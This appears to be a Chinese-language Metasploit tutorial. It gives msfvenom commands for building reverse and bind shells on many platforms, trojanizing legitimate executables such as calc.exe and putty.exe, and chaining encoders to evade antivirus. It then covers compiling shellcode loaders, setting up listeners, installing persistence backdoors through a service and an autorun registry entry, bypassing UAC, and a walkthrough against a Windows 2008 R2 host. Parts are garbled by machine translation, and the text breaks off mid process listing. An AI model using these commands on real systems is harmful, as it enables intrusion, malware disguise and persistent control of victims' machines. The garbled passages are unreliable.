指定一个自定义的可执行文件作为模板 -k, --keep 保护模板程序的动作,注入的payload作为一个新的进程运行 --payload-options 列举payload的标准选项 -o, --out<path> 保存payload -v, --var-name <name> 指定一个自定义的变量,以确定输出格式 --shellest 最小化生成payload -h, --help 查看帮助选项 --help-formats 查看msf支持的输出格式列表 2.生成payload 格式说明 (1)生成不经过编码的普通payload(不编码->生成内容固定->直接被杀) #格式 msfvenom -p <payload> <payload options> -f <format> -o <path> #实例 msfvenom –p windows/meterpreter/reverse_tcp –f c –o 1.c (2)经过编码器处理后生成payload #格式 msfvenom -p <payload> -e <encoder > -i <encoder times> -n <nopsled> -f <format> -o <path> #实例 msfvenom –p windows/meterpreter/reverse_tcp –i 3 –e x86/shikata_ga_nai –f exe –o C:\back.exe (3)捆绑到正常文件后生成payload(暂未测试是否可加-e参数) Msfvenom –p windows/meterpreter/reverse_tcp –platform windows –a x86 –x C:\calc.exe –k –f exe –o C:\shell.exe -p [指定攻击载荷名称] 生成payload至少需指定-p 和 -f,除了自带的那些payload外。-p -可指定自定义的payload ,如: cat payload_file.bin | msfvenom -p - -a x86 --platform win -e x86/shikata_ga_nai -f raw #暂未测试 cat 1.exe | msfvenom -p - -a x86 --platform win -e x86/shikata_ga_nai -f exe -o 2.exe -f [指定payload的输出格式] 按需要的格式进行输出: 十六进制hex编码形式 \x0a,如果用python写exploit,用-f python得到python代码。如果用python写exploit,用-f c得到c代码。生成一个exe格式的payload,如: msfvenom -p windows/meterpreter/bind_tcp -f exe msf支持的输出格式 msfvenom --help-formats Executable formats asp, aspx, aspx-exe, axis2, dll, elf, elf-so, exe, exe-only, exe-service, exe-small, hta-psh, jar, jsp, loop-vbs, macho, msi, msi-nouac, osx-app, psh, psh-cmd, psh-net, psh-reflection, vba, vba-exe, vba-psh, vbs, war Transform formats bash, c, csharp, dw, dword, hex, java, js_be, js_le, num, perl, pl, powershell, ps1, py, python, raw, rb, ruby, sh, vbapplication, vbscript 3.options usage 查看支持的payload列表: msfvenom -l payloads Framework Payloads (486 total) ============================== NameDescription --------------- aix/ppc/shell_bind_tcp Listen for a connection and spawn a command shell aix/ppc/shell_find_port Spawn a shell on an established connection aix/ppc/shell_interact Simply execve /bin/sh (for inetd programs) aix/ppc/shell_reverse_tcp Connect back to attacker and spawn a command shell android/meterpreter/reverse_http Run a meterpreter server in Android. Tunnel communication over HTTP android/meterpreter/reverse_https Run a meterpreter server in Android. Tunnel communication over HTTPS android/meterpreter/reverse_tcp Run a meterpreter server in Android. Connect back stager android/meterpreter_reverse_http Connect back to attacker and spawn a Meterpreter shell android/meterpreter_reverse_https Connect back to attacker and spawn a Meterpreter shell android/meterpreter_reverse_tcp Connect back to the attacker and spawn a Meterpreter shell ... 查看支持的输出文件类型: msfvenom --help-formats 查看支持的编码方式:(为了达到免杀的效果) msfvenom -l encoders 查看支持的空字段模块:(为了达到免杀的效果) msfvenom -l nops 4.常用的payload 1.命令格式: msfvenom -p <payload> <payload options> -f <format> -o <path> Binaries: 2.Linux: 反向连接 msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f elf > shell.elf 正向连接 msfvenom -p linux/x86/meterpreter/bind_tcp LHOST=<Target IP Address> LPORT=<Your Port to Connect On> -f elf > shell.elf 3.Windows: msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f exe > shell.exe 4.Mac: msfvenom -p osx/x86/shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f macho > shell.macho Web Payloads: 5.PHP: msfvenom -p php/meterpreter_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.php cat shell.php | pbcopy && echo '<?php ' | tr -d '\n' > shell.php && pbpaste >> shell.php 6.ASP: msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f asp > shell.asp 7.JSP: msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.jsp 8.WAR: msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f war > shell.wa Scripting Payloads: 9.Python: msfvenom -p cmd/unix/reverse_python LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.py 10.Bash: msfvenom -p cmd/unix/reverse_bash LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.sh 11.Perl: msfvenom -p cmd/unix/reverse_perl LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.pl Shellcode: 12.Linux Based Shellcode: msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f <language> 13.Windows Based Shellcode: msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f <language> 14.Mac Based Shellcode: msfvenom -p osx/x86/shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f <language> 15.Handlers: use exploit/multi/handler set PAYLOAD <Payload name> set LHOST <LHOST value> set LPORT <LPORT value> set ExitOnSession false exploit -j -z 5.生成有效载荷格式说明 生成不经过编码的普通净荷(不编码 - >生成内容固定 - >直接被杀) #格式 msfvenom -p <payload> <payload options> -f <format> -o <path> #实例 msfvenom –p windows/meterpreter/reverse_tcp –f c –o 1.c 经过编码器处理后生成的有效载荷 #格式 msfvenom -p <payload> -e <encoder > -i <encoder times> -n <nopsled> -f <format> -o <path> #实例 msfvenom –p windows/meterpreter/reverse_tcp –i 3 –e x86/shikata_ga_nai –f exe –o C:\back.exe 捆绑到正常文件后生成有效载荷(暂未测试是否可加-e参数) Msfvenom –p windows/meterpreter/reverse_tcp –platform windows –a x86 –x C:\calc.exe –k –f exe –o C:\shell.exe -p [指定攻击载荷名称] 生成有效负荷至少需指定-p和-f 除了自带的那些有效载荷外 -p -可指定自定义的有效载荷,如: cat payload_file.bin | msfvenom -p - -a x86 --platform win -e x86/shikata_ga_nai -f raw #暂未测试 cat 1.exe | msfvenom -p - -a x86 --platform win -e x86/shikata_ga_nai -f exe -o 2.exe -f [指定有效载荷的输出格式] 按需要的格式进行输出: 十六进制十六进制形式编码\x0a 如果用蟒写利用,用-f python得到蟒代码。 如果用蟒写利用,用-f c得到Ç代码。 生成一个EXE格式的有效载荷,如: msfvenom -p windows/meterpreter/bind_tcp -f exe 无国界医生支持的输出格式 msfvenom --help-formats Executable formats asp, aspx, aspx-exe, axis2, dll, elf, elf-so, exe, exe-only, exe-service, exe-small, hta-psh, jar, jsp, loop-vbs, macho, msi, msi-nouac, osx-app, psh, psh-cmd, psh-net, psh-reflection, vba, vba-exe, vba-psh, vbs, war Transform formats bash, c, csharp, dw, dword, hex, java, js_be, js_le, num, perl, pl, powershell, ps1, py, python, raw, rb, ruby, sh, vbapplication, vbscript - 一个x64 -a x86 -a x86_64 msfvenom -p windows/meterpreter/bind_tcp --help-platform Platforms aix, android, bsd, bsdi, cisco, firefox, freebsd, hardware, hpux, irix, java, javascript, linux, mainframe, multi, netbsd, netware, nodejs, openbsd, osx, php, python, ruby, solaris, unix, windows -a不指定也可以,可在-p后的有效载荷名称中明确指定的建筑,如: msfvenom -p linux/x86/exec CMD=/bin/sh 此有效载荷指定了参数CMD 查看某个有效载荷具体需要哪些参数(必需是是则必需该参数) msfvenom -p linux/x86/exec --payload-options 对有效载荷进行编码 1.规避特殊字符-b'/ x00一个特殊字符列表' 无国界医生会自动找一个合适的编码器规避有效载荷中的这些“坏字符”: msfvenom -p windows/meterpreter/bind_tcp -b '\x00' -f raw Found 10 compatible encoders Attempting to encode payload with 1 iterations of x86/shikata_ga_nai 不同的函数,有不同的规避字符: 如获取需要就避免/x0a 如scanf函数更严格,空白不允许符 如产生一段高管的shellcode的 2.用-e选项指定编码器的编码器,如: msfvenom -p windows/meterpreter/bind_tcp -e x86/shikata_ga_nai -f raw 默认的输出格式是原始的,直接输出有效载荷的字符(含乱码),常加参数-o写到文件中。 3.使用-i进行选项对话多次编码 迭代编码也许会有规避杀毒软件的作用英文,但这不是真正的免杀。 迭代编码例子: msfvenom -p windows/meterpreter/bind_tcp -e x86/shikata_ga_nai -i 3 无国界医生组织中所有的编码器: msfvenom -l encoders Framework Encoders ================== Name Rank Description ---- ---- ----------- cmd/echo good Echo Command Encoder cmd/generic_shmanual Generic Shell Variable Substitution Command Encoder cmd/ifs low Generic ${IFS} Substitution Command Encoder cmd/perl normal Perl Command Encoder cmd/powershell_base64 excellent Powershell Base64 Command Encoder cmd/printf_php_mqmanual printf(1) via PHP magic_quotes Utility Command Encoder generic/eicarmanual The EICAR Encoder generic/none normal The "none" Encoder mipsbe/byte_xorinormal Byte XORi Encoder mipsbe/longxornormal XOR Encoder mipsle/byte_xorinormal Byte XORi Encoder mipsle/longxor normal XOR Encoder php/base64 great PHP Base64 Encoder ppc/longxornormal PPC LongXOR Encoder ppc/longxor_tagnormal PPC LongXOR Encoder sparc/longxor_tag normalSPARC DWORD XOR Encoder x64/xor normal XOR Encoder x64/zutto_dekirumanual Zutto Dekiru x86/add_submanual Add/Sub Encoder x86/alpha_mixedlow Alpha2 Alphanumeric Mixedcase Encoder x86/alpha_upperlow Alpha2 Alphanumeric Uppercase Encoder x86/avoid_underscore_tolowermanual Avoid underscore/tolower x86/avoid_utf8_tolowermanual Avoid UTF8/tolower x86/bloxor manual BloXor - A Metamorphic Block Based XOR Encoder x86/bmp_polyglotmanual BMP Polyglot x86/call4_dword_xornormal Call+4 Dword XOR Encoder x86/context_cpuid manual CPUID-based Context Keyed Payload Encoder x86/context_statmanual stat(2)-based Context Keyed Payload Encoder x86/context_timemanual time(2)-based Context Keyed Payload Encoder x86/countdown normal Single-byte XOR Countdown Encoder x86/fnstenv_movnormal Variable-length Fnstenv/mov Dword XOR Encoder x86/jmp_call_additivenormal Jump/Call XOR Additive Feedback Encoder x86/nonalpha low Non-Alpha Encoder x86/nonupperlow Non-Upper Encoder x86/opt_submanual Sub Encoder (optimised) x86/servicemanual Register Service x86/shikata_ga_nai excellent Polymorphic XOR Additive Feedback Encoder x86/single_static_bitmanual Single Static Bit x86/unicode_mixedmanual Alpha2 Alphanumeric Unicode Mixedcase Encoder x86/unicode_uppermanual Alpha2 Alphanumeric Unicode Uppercase Encoder -x指定一个模板文件(“捆绑”payload到这个正常的可执行文件) msfvenom使用的模板文件保存在目录msf/data/templates -x calc.exe 捆绑有效负载到正常文件(模板文件=宿主文件=自定义的可执行文件) 使用-x选项指定你自己的模板文件(如EXE等),如: 使用窗户下的CALC.EXE作为模板文件,生成有效载荷: msfvenom -p windows/meterpreter/bind_tcp -x calc.exe -f exe > new.exe 注意,在win x64下使用自定义的x64的模板文件(如exe等)创建x64的有效载荷时,输出格式必须要写-f exe-only而不能写-f exe (请注意:如果您想创建一个带有自定义Windows的x64自定义模板,然后而不是exe格式,您应该使用exe-only :) msfvenom -p windows/x64/meterpreter/bind_tcp -x /tmp/templates/64_calc.exe -f exe-only > /tmp/fake_64_calc.exe -x选项经常和-k选项一起用,它允许您从模板中将有效载荷作为新的线程运行。但是它目前只支持较老的系统,如x86 Windows XP。 (-x标志通常与-k标志配对,这使您可以将模板中的有效负载作为新线程运行。但是,目前这只适用于较旧的Windows机器,例如x86 Windows XP。) 6.payload加编码 命令格式: msfvenom -p <payload> <payload options> -a <arch> --platform <platform> -e <encoder option> -i <encoder times> -b <bad-chars> -n <nopsled> -f <format> -o <path> 常用编码: x86/shikata_ga_nai cmd/powershell_base64 例子: msfvenom -p windows/meterpreter/bind_tcp -e x86/shikata_ga_nai -i 3 -f exe > 1.exe 如果你使用了-b选项(设定了规避字符集),会自动调用编码器。 其他情况下,你需要使用-e选项来使用编码模块,例如: msfvenom -p windows/meterpreter/bind_tcp -e x86/shikata_ga_nai -f raw 可以使用下面的命令,来查看可用的编码器 msfvenom -l encoders 你也可以使用-i选项进行多次编码。某些情况下,迭代编码可以起到规避杀毒软件的作用,但你需要知道,编码并没有使用一个真正意义上的AV规避方案。 可以使用下面的命令来进行迭代编码: msfvenom -p windows/meterpreter/bind_tcp -e x86/shikata_ga_nai -i 3 msfvenom -p windows/meterpreter/bind_tcp -b '\x00' -f raw (1)规避特殊字符 -b '/x00一个特殊字符列表' 使用-b选项意味着在生成payload的时候对某些字符进行规避。当你使用这个选项的时候,msfvenom会自动的使用合适的编码器对payload进行编码,比如: msfvenom -p windows/meterpreter/bind_tcp -b '\x00' -f raw 不同的函数,有不同的规避字符: 如gets就需要避免/x0a 如scanf更严格,不允许空白符 如产生一段exec的shellcode (2)用-e选项指定编码器encoder msfvenom -p windows/meterpreter/bind_tcp -e x86/shikata_ga_nai -f raw msfvenom -p windows/meterpreter/reverse_tcp -a x86 -e x86/shikata_ga_nai -i 3 -f exe -o encoder.exe 默认的输出格式是raw,直接输出payload的字符(含乱码),常加参数-o写到文件中。 (3)使用-i选项进行多次编码 迭代编码也许会有规避杀毒软件的作用,但这不是真正的免杀。 迭代编码 例子: msfvenom -p windows/meterpreter/bind_tcp -e x86/shikata_ga_nai -i 3 (4)msf中所有的编码器 msfvenom -l encoders Framework Encoders ================== Name Rank Description ---- ---- ----------- cmd/echo good Echo Command Encoder cmd/generic_sh manual Generic Shell Variable Substitution Command Encoder cmd/ifs low Generic ${IFS} Substitution Command Encoder cmd/perl normal Perl Command Encoder cmd/powershell_base64excellent Powershell Base64 Command Encoder cmd/printf_php_mqmanual printf(1) via PHP magic_quotes Utility Command Encoder generic/eicarmanual The EICAR Encoder generic/nonenormal The "none" Encoder mipsbe/byte_xorinormal Byte XORi Encoder mipsbe/longxornormal XOR Encoder mipsle/byte_xorinormal Byte XORi Encoder mipsle/longxornormal XOR Encoder php/base64 great PHP Base64 Encoder ppc/longxornormal PPC LongXOR Encoder ppc/longxor_tagnormal PPC LongXOR Encoder sparc/longxor_tagnormal SPARC DWORD XOR Encoder x64/xor normal XOR Encoder x64/zutto_dekirumanual Zutto Dekiru x86/add_submanual Add/Sub Encoder x86/alpha_mixedlow Alpha2 Alphanumeric Mixedcase Encoder x86/alpha_upperlow Alpha2 Alphanumeric Uppercase Encoder x86/avoid_underscore_tolowermanual Avoid underscore/tolower x86/avoid_utf8_tolowermanual Avoid UTF8/tolower x86/bloxor manual BloXor - A Metamorphic Block Based XOR Encoder x86/bmp_polyglotmanual BMP Polyglot x86/call4_dword_xornormal Call+4 Dword XOR Encoder x86/context_cpuidmanual CPUID-based Context Keyed Payload Encoder x86/context_statmanual stat(2)-based Context Keyed Payload Encoder x86/context_timemanual time(2)-based Context Keyed Payload Encoder x86/countdownnormal Single-byte XOR Countdown Encoder x86/fnstenv_movnormal Variable-length Fnstenv/mov Dword XOR Encoder x86/jmp_call_additivenormal Jump/Call XOR Additive Feedback Encoder x86/nonalphalow Non-Alpha Encoder x86/nonupper low Non-Upper Encoder x86/opt_submanual Sub Encoder (optimised) x86/servicemanual Register Service x86/shikata_ga_naiexcellent Polymorphic XOR Additive Feedback Encoder x86/single_static_bitmanual Single Static Bit x86/unicode_mixedmanual Alpha2 Alphanumeric Unicode Mixedcase Encoder x86/unicode_upper manual Alpha2 Alphanumeric Unicode Uppercase Encoder (5)使用自定义可执行文件模板 -x 指定一个模板文件(“捆绑“payload到这个正常的可执行文件) 默认的msfvenom使用的模板文件保存在msf/data/templates目录中,如果你想使用你自己的模板文件,你可以使用-x选项来指定,比如: 捆绑payload到 正常文件(模板文件=宿主文件=自定义的可执行文件),使用-x选项指定你自己的模板文件(如exe等),如:使用windows下的calc.exe作为模板文件,生成payload: msfvenom -p windows/meterpreter/bind_tcp -x calc.exe -f exe > new.exe 这个命令将使用windows下计算器程序(calc.exe)作为可执行文件的模板生成payload。 注意,在win x64下使用自定义的x64的模板文件(如exe等)创建x64的payload时,输出格式必须要写-f exe-only而不能写-f exe msfvenom -p windows/x64/meterpreter/bind_tcp -x /tmp/templates/64_calc.exe -f exe-only > /tmp/fake_64_calc.exe -x选项经常和-k选项一起用,它允许您从模板中将payload作为新的线程运行。但是它目前只支持较老的系统,如x86 Windows XP. (6)How to chain msfvenom output msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.3 LPORT=4444 -f raw -e x86/shikata_ga_nai -i 5 | \ msfvenom -a x86 --platform windows -e x86/countdown -i 8 -f raw | \ msfvenom -a x86 --platform windows -e x86/shikata_ga_nai -i 9 -f exe -o payload.exe (7)编译生成的C文件 #win x86生成c文件 msfvenom -p windows/meterpreter/reverse_tcp lhost=[AttackerIP] lport=4444 -f c -e x86/shikata_ga_nai -i 12 -b '\x00' #vc++6.0 编译(含buf数组的)C代码: #include <stdio.h> #pragmacomment( linker, "/subsystem:\"windows\" /entry:\"mainCRTStartup\"")//运行时不显示窗口 unsignedchar buf[] = "buf数组";//复制数组内容粘贴到此处 main() { ((void(*)(void))&buf)(); } #VS 编译: main() { Memory = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); memcpy(Memory, buf, sizeof(buf)); ((void(*)())Memory)(); } 7.注入exe型+编码 msfvenom -p <payload> <payload options> -a <arch> --plateform <platform> -e <encoder option> -i <encoder times> -x <template> -k <keep> -f <format> -o <path> 测试: > msfvenom -p windows/meterpreter/reverse_tcp -a x86 -e x86/shikata_ga_nai -i 3 -x 'F:/putty.exe' -f exe -o injection.exe DL is deprecated, please use Fiddle No platform was selected, choosing Msf::Module::Platform::Windows from the payload Found 1 compatible encoders Attempting to encode payload with3 iterations of x86/shikata_ga_nai x86/shikata_ga_nai succeeded with size 360 (iteration=0) x86/shikata_ga_nai succeeded with size 387 (iteration=1) x86/shikata_ga_nai succeeded with size 414 (iteration=2) x86/shikata_ga_nai chosen with final size 414 Payload size: 414 bytes Final size of exe file: 6144 bytes Saved as: injection.exe 8.拼接型 msfvenom -c <shellcode> -p <payload> <payload options> -a <arch> --platform <platform> -e <encoder option> -i <encoder times> -f <format> -o <path> 测试: > msfvenom -c "win.exe" -p windows/meterpreter/reverse_tcp -a x86 -e x86/shikata_ga_nai -i 3 -x 'F:/putty.exe' -f exe -o injection.exe DL is deprecated, please use Fiddle No platform was selected, choosing Msf::Module::Platform::Windows from the payload Adding shellcode from win.exe to the payload Found 1 compatible encoders Attempting to encode payload with3 iterations of x86/shikata_ga_nai x86/shikata_ga_nai succeeded with size 5794 (iteration=0) x86/shikata_ga_nai succeeded with size 5823 (iteration=1) x86/shikata_ga_nai succeeded with size 5852 (iteration=2) x86/shikata_ga_nai chosen with final size 5852 Payload size: 5852 bytes Final size of exe file: 11264 bytes Saved as: injection.exe 9.搜索 msfvenom -l | grep windows | grep x64 | grep tcp 10.绕过免杀 nops选项 > msfvenom -l nops DL is deprecated, please use Fiddle Framework NOPs (8 total) ======================== Name Description ---- ----------- armle/simple Simple NOP generator php/generic Generates harmless padding for PHP scripts ppc/simple Simple NOP generator sparc/random SPARC NOP generator tty/generic Generates harmless padding for TTY input x64/simple An x64 single/multi byte NOP instruction generator. x86/opty2 Opty2 multi-byte NOP generator x86/single_byte Single-byte NOP generator payload生成器Veil-Evasion (免杀效果好) https://github.com/Veil-Framework/Veil-Evasion 现在Veil 3.0 11.系统架构 (1)架构 Arch:x86  是指生成的payload只能在32位系统运行 Arch:x86_64 是指模块同时兼容32位操作系统和64位操作系统 Arch:x64  是指生成的payload只能在64位系统运行 (2)注意 有的payload的选项为多个:Arch:x86_64,x64 这里你就需要-a参数选择一个系统架构。 同时注意以下:size(大小),rank(等级),exitfunc(退出方法) (3)统一 需要注意的是软件的架构/payload的架构/目标系统的架构 三者一定要统一(x86/x86_64/x64),否则会出错。 举例1: payload/windows/x64/meterpreter_reverse_tcp > msfvenom -p windows/x64/meterpreter_reverse_tcp --payload-option DL is deprecated, please use Fiddle Options for payload/windows/x64/meterpreter_reverse_tcp: Name: Windows Meterpreter Shell, Reverse TCP Inline x64 Module: payload/windows/x64/meterpreter_reverse_tcp Platform: Windows Arch: x64, x86_64 Needs Admin: No Total size: 1189423 Rank: Normal Provided by: OJ Reeves sf <[email protected]> Basic options: Name Current Setting Required Description ---- --------------- -------- ----------- EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none) EXTENSIONS no Comma-separate list of extensions to load EXTINIT no Initialization strings for extensions LHOST yes The listen address LPORT 4444 yes The listen port 举例2: windows/x64/meterpreter/reverse_tcp load/windows/x64/meterpreter/reverse_tcp: Name: Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse TCP Stager Module: payload/windows/x64/meterpreter/reverse_tcp Platform: Windows Arch: x86_64 Needs Admin: No Total size: 449 Rank: Normal Provided by: skape <[email protected]> sf <[email protected]> OJ Reeves Basic options: Name Current Setting Required Description ---- --------------- -------- ----------- EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none) LHOST yes The listen address LPORT 4444 yes The listen port Description: Inject the meterpreter server DLL via the Reflective 从Arch看出,第一个可以用于x64, x86_64而第二个只能x86_64。 这是需要注意的地方。 12.自选模块 生成执行计算器payload例子: msfvenom -p windows/meterpreter/bind_tcp -x calc.exe -f exe > 1.exe 13.payload的坑 正常情况下,利用msfvenom生成的木马文件,可直接上传到目标服务器上运行(加权限)。但我自己遇到过一个坑,生成的文件内容有部分是无用的,会引起报错,如下图所示。 解决方案是vim文件,删除文件开头两行无效的内容。 0x07获取meterpreter 1.首先生成可执行文件 root @ kali:〜#msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.102 lport=4444 -f exe -o shell.exe 2.启动msfconsole,监听反连端口 root @ kali:〜#msfconsole msf>use exploit/multi /handler msf exploit(handler)> set PAYLOAD windows/meterpreter/reverse_tcp PAYLOAD => window /meterpreter/reverse_tcp msf exploit(handler)> set LHOST 0.0.0.0 msf exploit(handler)>set LPORT 444 msf exploit(handler)>show options msf exploit(handler)>exploit 0x08 持续性后门 1.metsvc后渗透攻击模块 metsvc后渗透攻击模块其实就是将Meterpreter以系统服务的形式安装到目标主机,它会上传三个文件: metsvc.dll metsvc-service.exe metsvc.exe 调用metsvc后渗透攻击模块 命令:run metsvc 效果如下图: 执行过程:在目标主机上创建一个监听31337端口的服务->在目标主机c:\windows\temp\下创建一个存放后门服务有关文件程序的目录,并上传metsrv.x86.dll、metsvc-server.exe、metsvc.exe三个文件到该目录下->开启服务 成功后:在目标主机上看到31337号端口已开,且服务多了一个meterpreter(如下图) 使用方法: 到目标机上,我们可以发现Meterpreter服务,正在开启监听并等待连接。 Meterpreter服务后门 meterpreter > run metsvc [*] Creating a meterpreter service on port 31337 [*] Creating a temporary installation directory C:\Users\Croxy\AppData\Local\Temp\tuIKWqmuO... [*] >> Uploading metsrv.x86.dll... [*] >> Uploading metsvc-server.exe... [*] >> Uploading metsvc.exe... [*] Starting the service... * Installing service metsvc * Starting service * Service metsvc successfully installed. 之后电脑就默默生成了一个自启服务Meterpreter 然后连接后门 msf exploit(handler) > use exploit/multi/handler msf exploit(handler) > set payload windows/metsvc_bind_tcp payload => windows/metsvc_bind_tcp msf exploit(handler) > set RHOST 10.42.0.54 RHOST => 10.42.0.54 msf exploit(handler) > set LPORT 31337 LPORT => 31337 msf exploit(handler) > exploit 2. persistence模块后门 一个vbs后门写入了开机启动项但是容易被发现还是需要大家发挥自己的智慧:) meterpreter > run persistence -X -i 5 -p 23333 -r 10.42.0.1 [*] Running Persistance Script [*] Resource file for cleanup created at /home/croxy/.msf4/logs/persistence/TESTING_20150930.3914/TESTING_20150930.3914.rc [*] Creating Payload=windows/meterpreter/reverse_tcp LHOST=10.42.0.1 LPORT=23333 [*] Persistent agent script is 148453 bytes long [+] Persistent Script written to C:\Users\Croxy\AppData\Local\Temp\ulZpjVBN.vbs [*] Executing script C:\Users\Croxy\AppData\Local\Temp\ulZpjVBN.vbs [+] Agent executed with PID 4140 [*] Installing into autorun as HKLM\Software\Microsoft\Windows\CurrentVersion\Run\okiASNRzcLenulr [+] Installed into autorun as HKLM\Software\Microsoft\Windows\CurrentVersion\Run\okiASNRzcLenulr 0x09 meterpreter绕过uac 由于绕过 UAC 的功能需在 meterpreter 的shell 才能实现。因此,我们首先要做的就是取得目标机器的 meterpreter shell 。 (1)生成一个 payload msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.15.131 lport=4444 -f exe -o /root/virus.exe -e x86/shikata_ga_nai -i 8 将以上生成的 payload 发送给目标机器并让其执行! (2)kali 上配置一个反弹会话处理程序 msf>use exploit/multi/handler msf>set payload windows/meterpreter/reverse_tcp msf>set LHOST 192.168.15.131 msf>set LPORT 4444 msf>exploit 这里再介绍一种,生成反弹 shell 的方式。就是直接以 raw 的形式保存成文件只要目标进行了访问,就会反弹回 shell 。具体生成命令如下: msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.15.131 LPORT=4444 -f raw -o x.php 当目标机器成功执行payload后我们就取得了一个 meterpreter shell 。 (3)利用 getuid 和 getsystem 命令来提权 (4)进行UAC权限绕过 从以上结果我们基本可以判定遭到了 UAC 的用户访问控制的拦截!既然这样,那么我们来利用 meterpreter 的强大功能来进行绕过! msf>use exploit/windows/local/ask msf>show options msf>set session 1 msf>exploit 当我们成功执行以上命令后,我们会在目标系统上弹出一个确认框只要点击确认即可成功绕过!现在我们再来通过 getuid 和 getsystem 命令来查看当前我们的 shell 权限: 0x10 meterprter实战攻击windows2008r2x64 攻击端: OS:Kali IP:192.168.111.129 被害端: OS:Windows server 2008 (64位) IP:192.168.111.133 (1)获取目标主机反弹shell 首先在Kali上生成meterpreter的payloa root@Kali:~# msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.111.129 LPORT=2013 X > file.exe 接下来是配置监听: root@Kali:~# msfconsole msf > use exploit/multi/handler msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_tcp msf exploit(handler) > set LHOST 192.168.111.129 msf exploit(handler) > set LPORT 2013 msf exploit(handler) > exploit 然后在Windows2008上执行file.exe,返回一个meterpreter [*] Sending stage (769024 bytes) to 192.168.111.133 [*] Meterpreter session 1 opened (192.168.111.129:2013 -> 192.168.111.133:49168) at2014-03-13 22:23:18 +0800 meterpreter > (2).转移meterpreter到其他进程 在渗透过程中由于各种原因,当前meterpreter进程很容易被干掉,将meterpreter转移到系统常驻进程是个好主意 meterpreter > getuid //查看当前权限 Server username: WIN-K30V5SI0PCEAdministrator meterpreter > ps //列出当前进程 Process List ============ PID PPID Name Arch Session User Path --- ---- ---- ---- ------- ---- ---- 0 0 [System Process] 4294967295 4 0 System x86_64 0 244 4 smss.exe x86_64 0 NT AUTHORITYSYSTEM C:WindowsSystem32smss.exe 264 492 svchost.exe x86_64 0 NT AUTHORITYLOCAL SERVICE C:WindowsSystem32svchost.exe 336 328 csrss.exe x86_64 0 NT AUTHORITYSYSTEM C:WindowsSystem32csrss.exe 388 380 csrss.exe x86_64 1 NT AUTHORITYSYSTEM C:WindowsSystem32csrss.exe 396 328 wininit.exe x86_64 0 NT AUTHORITYSYSTEM C:WindowsSystem32wininit.exe 432 380 winlogon.exe x86_64 1 NT AUTHORITYSYSTEM C:WindowsSystem32winlogon.exe 492 396 services.exe x86_64 0 NT AUTHORITYSYSTEM C:WindowsSystem32services.exe 500 396 lsass.exe x86_64 0 NT AUTHORITYSYSTEM C:WindowsSystem32lsass.exe 512 396 lsm.exe x86_64 0 NT AUTHORITYSYSTEM C:WindowsSystem32lsm.exe 596 492 svchost.exe x86_64 0 NT AUTHORITYSYSTEM C:WindowsSystem32svchost.exe 656 492 svchost.exe x86_64 0 NT AUTHORITYNETWORK SERVICE C:WindowsSystem32svchost.exe 748 492 svchost.exe x86_64 0 NT AUTHORITYLOCAL SERVICE C:WindowsSystem32svchost.exe 796 492 svchost.exe x86_64 0 NT AUTHORITYSYSTEM C:WindowsSystem32svchost.exe 840 492 svchost.exe x86_64 0 NT AUTHORITYLOCAL SERVICE C:WindowsSystem32svchost.exe 856 388 conhost.exe x86_64 1 WIN-K30V5SI0PCEAdministrator C:WindowsSystem32conhost.exe 860 2044 cmd.exe x86_64 1 WIN-K30V5SI0PCEAdministrator C:WindowsSystem32cmd.exe 884 492 svchost.exe x86_64 0 NT AUTHORITYSYSTEM C:WindowsSystem32svchost.exe 924 492 svchost.exe x86_64 0 NT AUTHORITYNETWORK SERVICE C:WindowsSystem32svchost.exe 972 492 sppsvc.exe x86_64 0 NT AUTHORITYNETWORK SERVICE C:WindowsSystem32sppsvc.exe 976 492 spoolsv.exe x86_64 0 NT AUTHORITYSYSTEM C:WindowsSystem32spoolsv.exe 1056 492 svchost.exe x86_64 0 NT AUTHORITYLOCAL SERVICE C:WindowsSystem32svchost.exe 1092 492 vmtoolsd.exe x86_64 0 NT AUTHORITYSYSTEM C:Program FilesVMwareVMware Toolsvmtoolsd.exe 1332 492 svchost.exe x86_64 0 NT AUTHORITYNETWORK SERVICE C:WindowsSystem32svchost.exe 1492 2044 vmtoolsd.exe x86_64 1 WIN-K30V5SI0PCEAdministrator C:Program FilesVMwareVMware Toolsvmtoolsd.exe 1560 492 dllhost.exe x86_64 0 NT AUTHORITYSYSTEM C:WindowsSystem32dllhost.exe 1640 492 msdtc.exe x86_64 0 NT AUTHORITYNETWORK SERVICE C:WindowsSystem32msdtc.exe 1968 492 taskhost.exe x86_64 1 WIN-K30V5SI0PCEAdministrator C:WindowsSystem32taskhost.exe 2024 884 dwm.exe x86_64 1 WIN-K30V5SI0PCEAdministrator C:WindowsSystem32dwm.exe 2044 2016 explorer.exe x86_64 1 WIN-K30V5SI0PCEAdministrator C:Windowsexplorer.exe 2204 2428 mscorsvw.exe x86_64 0 NT AUTHORITYSYSTEM C:WindowsMicrosoft.NETFramework64v2.0.50727mscorsvw.exe 2312 492 